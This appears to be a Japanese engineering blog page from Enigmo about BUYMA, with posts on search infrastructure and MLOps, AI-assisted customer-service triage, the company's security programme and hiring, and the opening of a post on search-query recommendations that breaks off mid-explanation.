BUYMA検索・MLOps基盤の裏側を紹介します~マイクロサービス化から生成AI活用まで~

はじめに

こんにちは、AIテクノロジーグループの検索チームです。

昨年公開した エニグモのAI活用を支える「AIテクノロジーグループ」について紹介します! では、グループ全体の体制と各チームの役割を紹介しました。
本記事ではそのなかの検索チームに焦点を当て、日々どんなシステムを運用し、どんな案件を進めているかをもう一段詳しくお伝えします。

検索チームは名前のとおり BUYMA の検索システムを担当していますが、それだけではありません。
データサイエンティストが開発したモデルを安定して動かす MLOps と、生成AIを使ったシステムの実装・PoC も担っています。検索基盤から機械学習の本番化、AI の実装までを同じチームが見ることで、インフラからアプリケーションまで一気通貫で課題を解けるのがこのチームの特徴です。

対象読者としては、検索・MLOps・データ基盤まわりのエンジニアの方を想定しています。検索エンジニアという職種は専門性が高く、会社によって担当範囲が大きく違うものと思われます。BUYMA の検索チームが実際に何をしているか、その具体性を示し、この領域のイメージを持ってもらうことが、この記事の目的です。

検索チームの役割

検索チームの業務は、次の3つの柱で整理できます。グループ紹介記事で触れた内容を、本記事では案件の粒度まで落とします。

  1. BUYMA の検索システムの運用改善
    大小あわせて8つの検索システムを運用し、その中核である商品検索では、ユーザーが探している商品を見つけられる状態を維持する。
  2. MLOps
    データサイエンティストが開発したモデルを、求められるレイテンシ・可用性・セキュリティを満たす形で本番に載せ、繰り返し改善できるサイクルをつくる。
  3. AIシステムの開発・PoC
    生成AIをはじめとするサービスを使い、BUYMA 向けの AI 機能を実装し、PoC で終わらせず運用に載るところまで持っていく。

検索チームの3つの柱。検索、MLOps、生成AIの実装・PoC

担当範囲は検索エンジンそのものにとどまりません。検索API、商品データの投入、中間DB(MySQL)、クラスタ、監視、CI/CD まで、検索と機械学習サービスが動くための一式を見ています。
これらの基盤は Google Cloud(以下、GCP) 上で運用しており、GKE、Cloud Run、Vertex AI などを組み合わせて構成しています。

検索システムの運用改善

検索システムの運用改善では、まず「検索が止まると何が起きるか」、次に「なぜ本体から独立できたか」、最後に「独立したからこそ進んでいる Elasticsearch への載せ替え」の順で書きます。検索を止めないことが前提で、そのうえで基盤を進化させる、というのがこの領域の進め方です。

1. 検索が止まると、発見も購入も止まる

BUYMA は世界中のファッションアイテムを購入できるマーケットプレイスです。
出品中約630万点のなかから、ユーザーが「これだ」と思える商品にたどり着く。その入口が検索です。キーワードやカテゴリ、ブランド、価格などの条件を組み合わせて探す体験が、発見と購入を支えています。
ピーク時の検索リクエストは約400 RPS に達します。検索が止まると、画面は残っていても、購入までの導線が途切れます。
サービスの主軸を担っている、という実感はここにあります。

絞り込みやファセット、並び順を含めた現行の検索体験を維持したまま、基盤を進化させていく必要があります。

検索チームが管理している検索システムは、大小あわせて8つあり、規模も用途もさまざまです。本記事ではそのうち、ユーザーの発見と購入に直結する商品検索に絞って書きます。

商品検索では、GKE 環境の更新、中間DBの MySQL、検索API、インデックス更新までを一体で見ています。いまは検索を止めない運用と基盤更新が中心で、検索結果の精度をよりよくしていくのはその先です。

検索システムの変遷については、以前の刷新の記録もあります。

2. GCP 移設と同時に境界を設け、BUYMA 本体から独立できた

2024年7月に、大小あわせて8つの検索システムをすべて GCP へ移設しました。移設と同時に、BUYMA 本体との境界も設けています。

【当時の課題】
移設前は、検索の大きな変更が BUYMA 本体(Rails / PHP 側)のリリースサイクルに引きずられやすい構造でした。検索エンジンのインデックスの洗い替えなどを、本体と切り離して進めにくい状態です。

【設けた2つの境界】

  • 参照: 本体は検索エンジンの実装を意識せず、検索APIのインタフェースを通じて検索を利用する
  • 更新: 商品データの更新は、MySQL を挟んで検索側へ渡す

検索APIと検索エンジンは、検索チームのリポジトリとデプロイで完結します。この境界があることで、検索側の基盤変更が BUYMA 本体のリリースを待つ必要がなくなりました。

参照は検索API、更新はMySQL

8つすべてが同じ切り出し方になっているわけではありません。
商品検索をはじめとする主要な検索は、検索APIを境界に独立した構成で運用しています。残りのシステムは GCP 上で動いていますが、本体との結合の度合いはそれぞれ異なります。

【独立して進めるようになったこと】
独立した検索では、検索領域だけの案件を、検索チームの裁量で企画・検証・リリースしやすくなったことが大きいです。マイクロサービス化の効果は、運用が楽になることだけではありません。
たとえば次のような業務を、本体の大規模リリースに乗せることなく進められます。

  • 検索クラスタの構成変更やスケール
  • インデックスの投入パイプラインの刷新
  • 検索APIの置き換え
  • 検索エンジンそのものの検証と段階的な載せ替え
  • 辞書やマッピングの更新を、検索を止めずに反映する仕組み

通常は BUYMA 本体が従来どおり検索APIを呼べばよく、裏側の実装は検索チームが差し替えられます。デプロイは検索側で完結します。インタフェースやデータの投入口を変えるときだけ、本体側のリクエスト処理や更新処理まで検索チームが担います。専門性の高い検索の問題を、検索ドメインの中で完結して解ける状態です。検索を独立したプロダクトとして扱える、というのがいまの進め方の前提です。

3. Solr から Elasticsearch への載せ替えを、検索チームのペースで進める

独立して案件を進められるようになった具体例が、現在進行中の Solr から Elasticsearch への移行です。

【当時の課題】
商品検索を支えているのは Apache Solr です。GCP 上で同一データを持つ2クラスタ、合計24ノードの冗長構成です。スケールや運用の柔軟性を上げたくても、本体と結合したままではエンジンごと変える判断は現実的ではありませんでした。

いまは同じ GCP 上で、Elasticsearch への置き換えを検証・構築しています。

【移行で外せない要件】

  • 出品中約630万点の商品を対象にした全文検索
  • ブランド・カテゴリ・価格などのファセット
  • 現行に近い並び順・グループ化
  • ピーク約400 RPS でも、ユーザー向けの応答速度を維持すること
  • インデックスの洗い替えのために検索を止めないこと

【解決へのアプローチ】

  • エンジン選定
    フルマネージドの検索サービスも検討しましたが、ファセットや複雑なソートを現行どおり載せるには、カスタマイズの余地が足りませんでした。既存の GCP 環境との統合のしやすさも踏まえ、Elasticsearch を GKE 上で運用する方針にしています
  • クラスタ構成
    Solr では安定運用のために必要だった2クラスタの冗長構成を、Elasticsearch では1クラスタにまとめる想定です
  • 検索APIの刷新
    検索APIとデータ投入も検索システム側で作り直しています。本体向けのインタフェースは現行に合わせつつ、裏側は Solr 前提の実装から切り離します。現行の検索APIは Python で、CPU 使用率が高く、アクセスが増えると 20〜30 インスタンスが起動し、コストも増えやすい状態です。新しいAPIは Go に書き換え、Cloud Run 上に設置済みですが、本番トラフィックの切替はこれからです
  • クエリの見直し
    Solr 向けのクエリをそのまま写したところ、見た目の検索結果は近づけたつもりでも、本番相当の負荷をかけるとおよそ200 RPS で頭打ちし、ノードの CPU が飽和しました。現行の検索体験は残したまま何度もクエリの組み立てを見直し、ピーク約400 RPS の要件に乗せられたときは大きな達成感がありました

現行 Solr は同一データの2クラスタ。Elasticsearch は1クラスタにまとめる

検索がマイクロサービスとして独立しているからこそ、現行 Solr を止めずに並行して検証し、検索チームのペースで載せ替えを進められています。

MLOps:モデルを「定期的に、安全に」本番へ載せる

検索チームは、もともと検索エンジニアリングの専任でした。
推薦や機械学習の案件が増えるにつれて、モデルを本番で動かし続ける基盤、いわゆる MLOps も担当するようになりました。

実験を本番の定期ジョブに載せ、運用を回す

【役割分担】
データサイエンティストは、施策の設計、特徴量、学習、評価を担います。検索チームは、その成果物がオンラインの推論でも、毎日・毎週のバッチでも、想定した品質で動き続けるための実行基盤を担います。

不正検知については、分析・導入判断の経緯を別記事でも紹介しています。検索チームの役割は、そうしたモデルを「検証で終わらせず、運用に耐えるサービス」にする側です。

【基盤の構成】
学習・推論は Vertex AI Pipelines(Kubeflow Pipelines)上のパイプラインとして定義し、前処理・学習・予測・評価などのコンポーネントはコンテナイメージとしてバージョン管理します。GitLab CI/CD でテスト、ビルド、デプロイまでつなぎ、推論結果を下流のサービスやバッチが受け取れる形で届けます。
パイプラインには、推薦や不正対策、定期バッチで回すスコア系など、オンラインの推論とバッチの両方を載せています。

データサイエンティストの実験を、CI/CD と Vertex AI Pipelines を経て形にする

【いちばん詰まったところ:バージョン整合】
パイプライン定義、コンポーネント、下流のジョブで共通ライブラリを使い回すときのバージョン整合です。片方だけ新しいイメージに載せ替えると、学習は通っても、推論側で想定どおり動かないことがあります。派手な障害ではないのですが、原因の切り分けに時間がかかるタイプです。コンポーネントとパイプラインのバージョンを分け、共通ライブラリの整合を取りながら回すようにしたことで、大きな安心感を得られました。

【この領域の面白さ】
機械学習システムは、一度出せば終わりではありません。データが変わり、モデルが更新され、しきい値も動きます。そのたびに同じ品質で出し直せる状態を維持します。レスポンス速度や可用性、セキュリティは、検索APIと同じ目線で設計します。
ここでの面白さは、アルゴリズムそのものというより、実験を本番の定期ジョブに載せ、運用を回せる状態にすることです。

AIシステムの開発・PoC

以前は検索運用と MLOps が主でしたが、生成AIの API が実用的になったこともあり、AI を使ったシステムの開発や PoC も担当するようになっています。
テキストや画像を対象にしたチェック処理を本番に載せるほか、商品検索とつながる「AIでさがす」にも関わっています。

生成AIによる感情分析・各種チェック

【対象にしているもの】
BUYMA は、出品者と購入者がメッセージを交わす CtoC の場でもあります。正当な商品のやりとり(在庫、サイズ、色味、配送追跡、公式サイトとの照合)と、スパム・フィッシング・外部誘導を切り分ける必要があります。

【ルールベースだけでは足りない理由】
ルールベースだけでは、新しい手口に追いつけません。逆に「外部URLがある」「BUYMA の外のサイトだ」だけで止めると、正常な購入会話まで不可となってしまいます。

【実装しているチェック】
検索チームでは Gemini を使い、次のようなチェックをマイクロサービスとして実装しています。

  • 問い合わせメッセージのスパム・フィッシング判定
  • 感情分析など、テキストのトーンやリスクを見る処理
  • 画像に含まれる、外部サイトへの誘導につながりやすい要素の検出

【運用上の判断】
同期の API と、まとめて処理するバッチの両方があります。過検知と見逃しのどちらを許容するかは、カスタマーサポートや不正対策の運用チームとすり合わせます。モデルの世代が上がったときは、精度・速度・コストのバランスを見て載せ替えるかどうかを決めます。速いが高コスト、あるいは高精度だがレイテンシが合わない、といった上位モデルを見送る判断もここに含まれます。

【BUYMAドメインの制約】
検索で「現行の体験を維持したまま裏側を差し替える」のと同じで、生成AIでも、まずドメインの制約から設計します。ファッションの CtoC では、韓国・欧米の正規 EC の URL や配送会社の追跡リンクは日常的に登場します。その文脈を無視した汎用のスパム判定では、実運用には耐えません。

生成AIと商品検索の接点:「AIでさがす」

BUYMA の「AIでさがす」は、記事コンテンツを根拠にした提案へと進化しています。
ここは、検索チームが運用する商品検索APIと、生成AI側のキーワード生成・文書検索が接続する領域です。検索基盤が独立していることで、AI 側の変更と、商品検索エンジン側の変更を並行して進められます。

これから取り組むこと

検索チームとして、目の前にある大きな業務は次のようなものです。

  • Elasticsearch の品質確認と、Go 製検索APIを含めたトラフィックの段階的な切替
  • 独立した検索基盤の上で、検索結果の精度をよりよくしていくこと
  • 推薦・不正検知などの ML パイプラインを、より安定して回し、より載せやすくすること
  • 生成AIのチェックや AI 検索を、既存の検索・ML 基盤と無理なくつなぐこと

「完成した基盤を保守する」フェーズではありません。切り離した検索プラットフォームの上で、エンジンも ML も AI も、まだ載せ替えと拡張の途中にあります。新メンバーには、アーキテクチャ設計から主導していただく余地が十分にあります。
インフラから API、データ、評価までを、同じチームで担っているのも醍醐味の一つです。

さいごに

検索チームは、出品中約630万点を支える商品検索をはじめ、BUYMA の検索を止めないことと、機械学習と生成AIを本番に載せることを並行して実施しています。
2024年の GCP 移設で検索APIを境界にして商品検索を独立させたことが、いまの Elasticsearch 移行のような「検索単体の大きな案件」を可能にしています。

現在は検索チームとしての幅を広げ、検索基盤・MLOps・生成AIまでを見ています。
今後はデータ基盤チーム等と統合し、よりプラットフォーム全体を見る体制へ変遷していく予定です。検索に閉じず、データを集め、モデルを回し、サービスとして届けるところまでを同じ視点で扱える場が、さらに広がっていくと考えています。

ここまで、いま私たちが担当しているものと、これから広がっていく業務の範囲を書いてきました。少しでも業務イメージが伝われば幸いです。


株式会社エニグモ すべての求人一覧

hrmos.co

AI導入でカスタマーサービス対応はどう変わる?Notion AI・Cursor活用の実践事例

こんにちは。 エニグモのWebアプリケーションエンジニアのレミーです!

カスタマーサービスに寄せられる問い合わせは、仕様確認から不具合の疑いまで内容が幅広く、エンジニアが対応にかかわる場面も少なくありません。近年はこのカスタマーサービス対応の現場でも、Notion AIやCursorといったAIツールの活用が急速に進んでいます。

この記事では、私たちのエンジニアチームがNotion AIとCursorをカスタマーサービス対応に取り入れたことで、業務がどう変わったのかを、導入前と導入後を比較しながら紹介します。「AIでカスタマーサービス対応は本当にラクになるのか?」を検討している方の参考になれば幸いです。

AIと協働してカスタマーサービス対応を進めるエンジニアのイラスト
AIと協働してカスタマーサービス対応を進めるエンジニアのイラスト

エンジニアチームにおけるカスタマーサービス対応とAI活用

カスタマーサービスチームから寄せられる問い合わせは、仕様確認・運用相談・不具合の疑いなど多岐にわたります。エンジニア側はまず一次対応(トリアージ)を行い、必要に応じて各機能領域(出品/購入/サービス基盤/フロントエンド)の担当へ連携しながら、解決まで伴走する体制をとっています。

現在この流れの中で主に活用しているAIツールは、次の2つです。

  • Notion AI:問い合わせ内容の整理、過去の類似案件の検索、仕様ドキュメントの要約、議事録の作成
  • Cursor:サービスのコードベース調査、該当ロジックの特定、修正案やデータ補正SQLのドラフト作成

どちらも「人の判断を置き換える」ためではなく、判断に必要な情報を早く揃えるために使っている、という感覚が実態に近いです。

Notion AIとCursorの使い分けイメージ
Notion AIとCursorの使い分けイメージ

AI導入前のカスタマーサービス対応で起きていた課題

AI導入前は、特に次のような部分に時間がかかっていました。

  • 問い合わせを読んで、そもそもどの領域の話なのかを判断するまでに時間がかかる
  • 「これ、前にも似た問い合わせがあった気がする」という、記憶に頼った探索
  • 仕様が明文化されていない領域では、コードを読み進めるところから調査が始まる
  • 調査内容をドキュメントに残す作業が後回しになり、結果的にナレッジが個人に溜まっていく

とりわけ自分の担当外の問い合わせが来たときの初動コストが大きく、「詳しい人に聞く」以外の選択肢を取りにくい状態でした。

AI導入前と導入後のカスタマーサービス対応を比較したイラスト
AI導入前と導入後のカスタマーサービス対応を比較したイラスト

AI導入後、カスタマーサービス対応はどう変わったか

一次切り分け(トリアージ)の変化

問い合わせが起票された段階で、まずNotion AIに内容を渡し、次の3点を整理させるようになりました。

  • 事象の要約(何が / どの画面で / いつから)
  • 想定される担当領域
  • 過去の類似課題・関連する仕様ドキュメントへのリンク

これにより、問い合わせを開いてから「誰が見るべきか」を判断するまでの時間が明確に短くなりました。ワークスペース内の課題データベースやドキュメントを横断して検索してくれるため、記憶に頼った探索が減ったのが大きな変化です。

調査プロセスの変化

コードの調査ではCursorを使い、「この画面のこの挙動を制御しているロジックはどこか」という粒度で当たりをつけるようになりました。

  • 担当外の領域のコードでも、関連ファイルまでは短時間でたどり着ける
  • データ補正が必要な場合は、修正用SQLのドラフトを出させてから人がレビューする
  • ログ調査の観点(どのログを、どの時間帯で見るべきか)の洗い出しにも活用する

ただし、AIの出力をそのまま本番に反映することはありません。特にデータ補正SQLは、従来どおりレビューを経てから実行しています。AIが担うのは「調査の入口を早くする」ところまで、という線引きを意識しています。

ドキュメント・ナレッジ共有の変化

以前は後回しになりがちだった調査記録の整備も、変わってきました。

  • 対応中のやり取りやコメントをもとに、調査サマリのドラフトをAIに作らせる
  • 週次のカスタマーサービス対応プロジェクト単位で、対応内容を集約・整理する
  • 定例の議事録も、箇条書きメモから整った形に整形する

「書くのが面倒だから残さない」という状態が減り、属人化の解消という当初の課題に、実際に効いていると感じています。

これからのカスタマーサービス対応で取り組みたいこと

現時点で見えている、今後取り組みたいテーマを挙げます。

  • 一次切り分けの自動化:起票された課題に対し、想定領域・緊急度・関連ドキュメントを自動で提案する。チャット通知の時点で、ある程度整理された状態にする。
  • ナレッジの継続的な整備:調査手順のドキュメントを、実際の対応内容から継続的に更新し、「同じ問い合わせに何度も同じ調査をする」状態をなくす。
  • 傾向分析:問い合わせの多い機能を分析してプロダクト改善につなげる。リードタイムを計測し、ボトルネックを可視化する。
  • 判断の質を落とさない仕組みづくり:AIの出力を検証するチェック観点を明文化し、AIが誤った前提を出したケースを記録して振り返りに使う。

今後のカスタマーサービス対応改善ロードマップのイラスト
今後のカスタマーサービス対応改善ロードマップのイラスト

まとめ

AIを導入したからといって、カスタマーサービス対応が劇的にラクになった、という単純な話ではありません。実際に変わったのは、調査に取りかかるまでの時間と、ナレッジを残すハードルでした。

一方で、仕様の解釈や影響範囲の判断、本番データを触るかどうかの意思決定といった部分は、これまで通りエンジニアが責任を持って行っています。AIが情報収集を引き受けてくれる分、人が「判断」に使える時間が増えたというのが、現時点での率直な手応えです。

改善の余地はまだ多くありますが、定例で振り返りながら、少しずつ運用を整えていきたいと思います。

よくある質問(FAQ)

Q: AIにカスタマーサービス対応を任せると、対応品質は下がりませんか?

A: 品質に直結する判断(仕様解釈・影響範囲・本番データの変更可否)は、引き続き人が担っています。AIが担当するのは情報収集や調査の入口までで、最終判断は人が行う、という線引きを徹底しています。

Q: Notion AIとCursorはどう使い分けていますか?

A: Notion AIは問い合わせの整理・検索・要約・議事録などの「テキスト業務」、Cursorはコードベースの調査やSQLドラフト作成などの「開発業務」に使っています。

Q: データ補正SQLもAIに書かせて大丈夫ですか?

A: ドラフト作成には使いますが、そのまま実行はしません。従来どおり人のレビューを経てから本番に反映しています。

エニグモのセキュリティ最前線:DevSecOpsと攻めのガバナンスで全社を守る仕組みづくり

1. はじめに

こんにちは!エニグモのセキュリティチームです。

エニグモの中核事業の「BUYMA」は、世界中のパーソナルショッパーから商品を購入できる、会員数1,200万人超のCtoCのECプラットフォームです。 大規模かつグローバルなトラフィックを守るため、セキュリティの重要性は日々高まっています。

今回は、そんな当社におけるセキュリティチームの現在の取り組みや組織体制、そして今後注力していく技術的な課題についてご紹介します。 セキュリティエンジニアとしてエニグモで働く魅力や、リアルな業務の裏側が少しでも伝われば幸いです。

2. セキュリティ組織の体制とミッション

エンジニアリングの現場に根ざした「戦略的配置」

エニグモのセキュリティチームは、サービスエンジニアリング本部のインフラグループに所属しています。これは、セキュリティを単なる「管理・監査」の対象ではなく、サービスの信頼性を支える「エンジニアリング」の一部として捉えているためです。

各専門領域が集まるエンジニアリング組織の中に身を置くことで、最新の技術トレンドや開発のスピード感を共有しながら、実効性の高いセキュリティ施策をダイレクトに実装・反映できる「攻め」の体制を構築しています。

全社・グループ全体を網羅する広範なハブ組織

私たちのミッションは、自社サービスの開発現場に留まりません。専門家としての知見を活かし、グループ全体の安全をデザインする「ハブ」として、現在は主に以下のような領域でセキュリティ強化を推進しています。

  • 全社セキュリティ・ガバナンス: コーポレートITチームと連携し、社内システムからプロダクトまで一貫した安全性の担保とセキュリティ水準の底上げ。

  • 自社サービスのセキュアな開発支援: 「BUYMA」のサービス開発を担う開発とインフラ両方のエンジニアと連携し、安全なインフラ構築とエンジニアリングによる継続的な脆弱性対策の実施。

  • グループ全体のセキュリティ向上: エニグモおよび「BUYMA TRAVEL」をはじめとするグループ会社に対し、ルール策定支援や脆弱性情報の共有、対応手順の標準化を通じた防御力の強化。

  • 新規事業のセキュリティ・アセスメント: 事業立ち上げの初期フェーズから伴走する、セキュリティ設計やリスクの評価。

業務領域の整理と「シフトレフト」の志向

現在のチームでは「シフトレフト」を強く志向し、役割分担を明確にしています。 セキュリティエンジニアの業務領域は広く、とかく日々の運用・構築作業に忙殺されがちです。エニグモでは、WAFのテスト・本番環境への導入・デプロイ作業や、脆弱性スキャンツールの設定といった一部の運用・構築作業は、開発プロセスやインフラ運用の中に組み込み、各チームと役割を分担する体制としています。

一方で、CrowdStrikeなどのアラート一次対応をはじめとするセキュリティインシデントの監視や初動対応は、引き続きセキュリティチームが責任を持って担っています。これにより、現場のリアルな脅威動向を把握しつつ、「セキュリティ戦略の設計・ガバナンス・自動化の仕組みづくり」といった、よりセキュリティ要件の策定や設計といった高度で全社的なセキュリティ課題へ注力できる環境を作っています。

3. 具体的な施策・プロジェクトの紹介

直近で取り組んできたプロジェクトをいくつかご紹介します。

脅威情報の継続的な収集とインシデントへの迅速な対応

日々高度化するサイバー攻撃に対抗するため、多様な媒体から脅威・脆弱性情報を継続的に収集・分析しています。近年多発しているパッケージエコシステムを標的としたサプライチェーン攻撃(Mini Shai-Hulud等) や、NGINX Riftをはじめとするクリティカルな脆弱性が発表された際には、即座に影響調査を行い、開発チームと連携して安全なバージョンへの固定化や設定の回避策などの対応を迅速に進めました。

AWS WAFの運用高度化とDDoS対策のチューニング

Webアプリケーションを強固に保護するため、AWS WAFを本番導入し運用・改善を進めています。WAFの導入・デプロイにあたってはインフラチームが担い、セキュリティチームはルールの高度な分析とチューニングに専念する体制をとっています。 実際のDDoS攻撃のデータとメトリクスを分析した結果、標準のマネージドルールに依存するだけでなく、アクセス元のIPやネットワークアドレス単位でのレート制限を適切に設定することが防御に非常に有効であることを確認しました。現在は、これらの知見を活かした独自のルールチューニングや、悪意のあるIPアドレス(AbuseIP)の自動ブロックの仕組みなどの実装を進めています。

CNAPPの運用改善と高度化(マルチクラウドのセキュリティ強化)

AWSとGCPを利用するマルチクラウド環境において、クラウド全体のセキュリティポスチャを継続的に管理するため、すでにAWS Security HubおよびGCP Security Command Center(SCC)を導入しています。 現在は、これらのCNAPPツールを用いた運用の改善・高度化を進めており、増大し続けるFindingsの内優先的に対応が必要な重大な設定ミスや潜在的な攻撃を選別し、リスクベースで効率的に脆弱性を潰し込んでいく基盤づくりに注力しています。

AIツールの安全な利活用に向けたセキュリティルールの策定

開発効率化のためにAIコーディングツール(Cursor、Claude Code等)やMCP(Model Context Protocol)の導入機運が高まる中、生産性向上とセキュリティのバランスを取るためのルール作りを主導しています。リスクの高いコミュニティ製MCP(BigQuery連携など)の利用制限ルールの策定や、RAGシステムの構築に向けたセキュリティガイドラインの作成など、現場と連携しながら新しい技術を安全に活用するための「攻めのセキュリティガバナンス」を進めています。

社内セキュリティカルチャーの醸成とセキュア開発の推進

エニグモにはエンジニアを中心に毎週実施している社内勉強会「Hacker's Delight」があり、ここで月に1回程度セキュリティの啓発活動をおこなっています。サプライチェーン攻撃などの最新事例や攻撃デモを交え、技術的な面白さを共有しながら現場の解像度を上げる場づくりを大切にしています。

※ 社内勉強会「Hacker's Delight」についてはこちらをご覧ください。 https://www.wantedly.com/companies/enigmo/post_articles/940864

それに加え、技術者・非技術者それぞれに向けたセキュリティ教育やテストを毎年実施しています。また、「セキュア開発実施の手引き」の策定や、Googleドライブ等でのファイル運用ルールといった日常的なガイドラインの整備も行い、現場のメンバー一人ひとりが自律的にセキュリティを高められるカルチャー醸成に努めています。

4. これから取り組むべき技術的課題

エニグモのセキュリティをさらに進化させるため、今後以下のような技術的課題に注力していきます。

DevSecOpsの推進とSBOMの導入

プロダクト開発において利用するOSS等のパッケージ、ライブラリが膨大になる中、昨今、サプライチェーン攻撃や新たなクリティカルな脆弱性が報告された際、どのプロダクトのどこに影響があるのか、調査や特定に膨大な時間がかかってしまうリスクが増加しています。SAST/DASTや依存ライブラリの脆弱性スキャン(SCA)を自動化したり、SBOM(ソフトウェア部品表)の導入・管理体制を構築し、これらの攻撃や脆弱性の多発に対して、影響範囲を即座に特定・自動ブロックできる仕組みを実装していきます。

グループ企業・委託先を含めた全社セキュリティガバナンスの強化

主力事業であるBUYMA本体のセキュリティ対策は成熟しつつあるものの、事業の多角化に伴い、グループ会社や新規事業、外部委託先を含めたサプライチェーン全体で見ると、セキュリティレベルにばらつきが生じているという懸念があります。経営会議でも重要課題として挙がったデータガバナンスの強化に向け、エニグモが守るべき情報資産とリスクシナリオの可視化を進めてきました。今後はこのリスクベースアプローチを基盤とし、BUYMA事業だけでなく、BUYMA TRAVELやHOUSE REVOといったグループ会社全体のセキュリティ体制構築(Security Hubの全アカウント適用、運用体制の構築や、脆弱性診断の展開など)や、外部委託先の情報セキュリティ管理プロセスの高度化に注力していきます。

AIを取り巻く新たな脅威への対抗とセキュリティ業務のAI化

開発効率化のために各種AIツールの活用が急速に進む一方で、開発環境を狙うMiasmaワームやプロンプトインジェクションなどの新たなリスクへの対応方針が急務となっています。また、開発スピードの向上に対して、セキュリティチームの人的リソースだけで全件レビューを行うことの限界も見え始めてきました。これらのAIツールを悪用した新たな脅威に対応するガードレールの構築を進めていきます。また、OWASP LLM Top 10などをベースにしたセキュリティチェックリストの作成や、LLMを活用したセキュリティレビューの自動化など、セキュリティ業務自体のAI活用にも取り組んでいきます。

Policy as Codeを用いたガードレールの構築

セキュリティチェックを厳格化すればするほど、影響のない誤検知(ノイズ)の対応や軽微なアラートによって開発の手が止まってしまい、開発者体験(DX)や事業のリリーススピードを損なってしまうというジレンマがありました。「Critical/Highのみデプロイをブロックする」「影響のない誤検知(ノイズ)を自動除外する」など、開発者体験(DX)と事業スピードを損なわずに、開発チームが自律して修正できるプロセスを構築していきます。

5. エニグモでセキュリティエンジニアとして働く魅力ややりがい

エニグモのセキュリティエンジニアは、単なる監視や定常作業に留まりません。世界中のユーザーが利用する大規模CtoC・越境ECの「BUYMA」という特性上、個人間取引特有の不正利用やグローバル環境における複雑な脅威シナリオが存在し、それらに対する「攻防の面白さ」をダイレクトに味わえるのが大きな特徴です。 また、現在はBUYMA TRAVELやHOUSE REVOといったM&Aによるグループ企業の拡大や新規事業も加速しています。ビジネスモデルやシステム環境が多様化する中で、全社共通のガバナンスの「型」を自ら設計し、適用していくアーキテクトとしての大きな裁量があります。 経営層から事業部門、インフラ・開発チーム、グループ会社に至るまで、多様な関係者と円滑にコミュニケーションを図りながら、全社規模の防衛戦略をリードできるのは当社ならではの大きなやりがいだと感じています。 また、EM(エンジニアリングマネージャー)と協働し、AI等の新技術の活用ルール策定やモダンなDevSecOps環境の構築といった「技術的に面白い課題」に、専門家の立場から大きな裁量を持って挑戦できる環境が整っています。

6. おわりに

エニグモでは現在こうした課題に一緒に立ち向かってくれる仲間を探しています。 ぜひ、一緒にエニグモグループ、BUYMAの成長を支えるセキュリティ体制をつくっていきませんか。

個別商品レコメンドから検索クエリへ:アプリホームの新しいレコメンド検証

こんにちは、データサイエンティストの髙橋です。業務では企画/分析/機械学習モデル作成/プロダクション向けの実装/効果検証を一貫して行っています。

この記事では、BUYMA アプリのホーム画面に検索クエリレコメンドを導入し、ホームレコメンド経由の CVR の向上、アプリ全体の商品閲覧ユーザー率(商品詳細を閲覧したユーザー/全体ユーザー)の改善をした事例を紹介します。

レコメンドシステム全体としては、機械学習ロジックとバックエンド実装の両方がありますが、今回は前者の機械学習ロジックを中心に紹介します。バックエンド実装は別途紹介予定です。

施策の目的

弊社が運営している CtoC EC サービス BUYMA の iOS アプリのホーム画面には「あなたへのおすすめ」セクションがあり、ユーザーが閲覧した商品に基づいてレコメンドされた商品が表示されています。

しかし、個別商品のレコメンドのみを提供しているため、ユーザーに表示できる商品の幅が制限され、購入に結び付く商品にホームから出会いづらいのではという仮説がありました。そこで、個別商品のみではなく、検索クエリのレコメンドを実施することで、ユーザーに表示できる商品の幅を広げ、購入候補となる商品に出会いやすくできないかを検証しました。検索クエリのレコメンドでは、商品単体ではなく検索結果への導線を提示できるため、ユーザーがより広い候補の中から商品を探せるようになります。

最終目標は、 iOS アプリ全体の売上を上げることですが、アプリ全体の購入にホームレコメンドが占める割合はそれほど大きくなく、はじめからそれを実現するのは難しいと考え、まずはホームレコメンド経由の売上を増加させることを目標としました。

新しいレコメンドイメージ

既存の iOS アプリのホーム画面のレコメンドは個別商品を以下のように表示していました。

既存のiOSアプリのホーム画面のレコメンド

新しいレコメンドとして、以下のような検索クエリのレコメンドを既存の個別商品レコメンドの上部に追加しました。ここで、検索クエリごとに商品を何件か見せるようにしました。また、検索クエリごとに検索結果に遷移できるボタンを設けることで、ユーザーが検索結果に遷移してより広い商品を見ることができるようにしました。検索結果への導線は、検索ラベル名の横とカルーセル末尾の2箇所に設けました。

新しいiOSアプリのホーム画面のレコメンド

もっと見るボタン位置

検索クエリとしては、商品カテゴリとブランドの組み合わせや、商品カテゴリとタグの組み合わせなどを用意しました。例えば「スニーカー × ブランド A」「Tシャツ × ストリート」など、商品カテゴリにブランドやタグを組み合わせた検索クエリ候補を作成しました。

新しいレコメンドによる事業効果

AB テストの結果、ホームレコメンド経由の CVR の上昇が見られました。ホームレコメンドからユーザーが閲覧できる商品の幅を広げ、購入候補となる商品に出会いやすくできたことが CVR 上昇に寄与したと考えられます。

また、iOS アプリ全体の商品閲覧ユーザー率にも上昇が見られました。検索クエリごとに複数の商品を表示し検索結果への導線を設けたことで、ホーム画面からの商品探索を促せたことが閲覧ユーザー率上昇に寄与した可能性があります。

詳細な数値などは後述のABテストセクションにて紹介します。

レコメンドロジック

実際に利用した検索クエリレコメンドのロジックについて紹介します。今回の検索クエリレコメンドでは、大きく以下の4つの処理を行いました。

  1. 商品と検索クエリの類似度計算
  2. ユーザーの商品閲覧履歴から、関連性の高い検索クエリレコメンドを作成する
  3. 各検索クエリ内で表示する商品を、ユーザーの興味に近い順に並び替える
  4. 表示内容が固定化されないように、Gumbel-Top-k Trick によって一定のランダム性を加える

以降では、それぞれの処理について説明します。

商品と検索クエリの類似度計算

検索クエリのレコメンド自体に効果があるのかをクイックに検証するために、協調フィルタリングベースの実装負荷が低いロジックを採用しました。

通常の item-to-item 協調フィルタリングでは、ユーザーごとの閲覧有無をベクトルとみなし、商品同士の類似度をコサイン類似度で計算します。商品  i の閲覧ベクトルを  \boldsymbol{x}_i とすると、コサイン類似度は以下の式で表されます。

 \displaystyle
\cos(\boldsymbol{x}_i, \boldsymbol{x}_{i'}) = \frac{\boldsymbol{x}_i \cdot \boldsymbol{x}_{i'}}{|\boldsymbol{x}_i||\boldsymbol{x}_{i'}|}

ここで、各次元をユーザー、値をそのユーザーが商品を閲覧したかどうかの  0, 1 の値とすると、 \boldsymbol{x}_i \cdot \boldsymbol{x}_{i'} は両方の商品を閲覧したユーザー数、 |\boldsymbol{x}_i|  |\boldsymbol{x}_{i'}| はそれぞれの商品を閲覧したユーザー数の平方根になります。

